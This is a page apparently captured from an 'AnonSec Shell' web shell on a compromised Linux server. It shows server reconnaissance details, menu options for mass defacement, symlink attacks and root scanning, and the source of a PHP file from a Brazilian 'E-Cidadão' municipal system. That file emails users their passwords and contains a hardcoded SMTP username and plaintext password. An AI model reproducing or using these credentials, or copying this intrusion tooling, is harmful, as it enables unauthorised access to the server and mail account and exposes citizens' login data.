AnonSec Shell
Server IP : 20.75.53.88  /  Your IP : 216.73.217.72   [ Reverse IP ]
Web Server : Apache
System : Linux VMRALP-3 4.4.0-256-generic #290~14.04.1-Ubuntu SMP Thu Jun 20 09:24:50 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29+esm15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Domains : 3 Domains
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/siac/dev/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/html/siac/dev/classes.php
<?php class corpo
{
    public function corpo_edicao()
    { ?>
        <?php
        $server = $cliente->url_sistema . 'login.php';
        $corpo  = ' <span style="font-size: 15px; color: #3c8dbc; font-weight: bold;">
                            Sistema E-Cidadão<br>
                            Usuário e Senha de acesso ao sistema
                            </span><br>
        <table width="100%" height="50%" style="border-bottom: ridge;border-top: ridge; color: #3c8dbc;">
            <tr>Seu código:
                <td><b style="font-size: 22px;color: #0c199c;">' . $u_id . '</b></td>
            </tr>
            <tr>Encaminhado por:
                <td><b>E-Cidadão ' . $cliente->nome . '</b></td>
            </tr>
            <tr>Solicitante:
                <td><b style="font-size: 15px;">' . $idsolicitacao . '</b></td>
            </tr>
            <tr>Usuário:
                <td><b style="font-size: 15px;">' . $idsolicitacao . '</b></td>
            </tr>
            <tr>Senha:
                <td><b style="font-size: 15px;">' . $senha . '</b></td>
            </tr>
            <tr>Motivo:
                <td><b>Informações de acesso ao sistema.</b></td>
            </tr>
            <tr>Link de acesso:
                <td><b>' . $server . '</b></td>
            </tr>
        </table><br>' . '<strong style="font-size: 18px;">' . $cliente->nome . '</strong>';
        return $corpo;
    }
}
    
    /**
     * @param $para
     * @param $assunto
     * @param $corpo
     * @throws phpmailerException
     */
    
    use PHPMailer\PHPMailer\PHPMailer;
    
    function smtpmailer($para, $assunto, $corpo)
    {
        require_once('components/phpmailer/src/PHPMailer.php');
        require_once('components/phpmailer/src/SMTP.php');
        require_once('components/phpmailer/src/Exception.php');
        $mail = new PHPMailer(true);
        $mail->isHTML(true);
        $mail->IsSMTP();                                    // telling the class to use SMTP
        $mail->SMTPDebug = 0;                               // enables SMTP debug information (for testing)
        // 1 = SMTP::DEBUG_CLIENT
        // 2 = SMTP::DEBUG_SERVER
        // 3 = SMTP::DEBUG_CONNECTION
        // 4 = SMTP::DEBUG_LOWLEVEL
        
        //$mail->SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS;                          // sets the prefix to the servier
        $mail->SMTPSecure  = 'ssl';
        $mail->Host        = "mail.tnssolucoes.com.br";               // sets GMAIL as the SMTP server
        $mail->SMTPAuth    = true;
        $mail->SMTPAutoTLS = false;
        $mail->Port        = 465;                            // set the SMTP port for the GMAIL server
        $mail->Username    = "ralp@tnssolucoes.com.br";        // GMAIL username
        $mail->Password    = "php2018php";                   // GMAIL password
        $mail->SetFrom('nao-responda@gtcontroller.com.br', 'E-CIDADÃO', 0);
        $mail->Subject = $assunto;
        $body          = $corpo;
        $mail->AltBody = "Para ver a mensagem, utilize um visualizador de e-mail compatível com HTML!";
        $mail->CharSet = 'utf - 8';
        $mail->MsgHTML($body . "<br>");
        $mail->AddAddress($para, "E-Cidadão");
        if (!$mail->Send()) {
            $a = new aviso();
            $a->AlertaErro("Ocorreu um problema ao enviar e-mail: " . $mail->ErrorInfo);
        } else {
            $a = new aviso();
            $a->AlertaAviso("E-mail com as informações do usuário enviado!");
        }
    }

Anon7 - 2022
AnonSec Team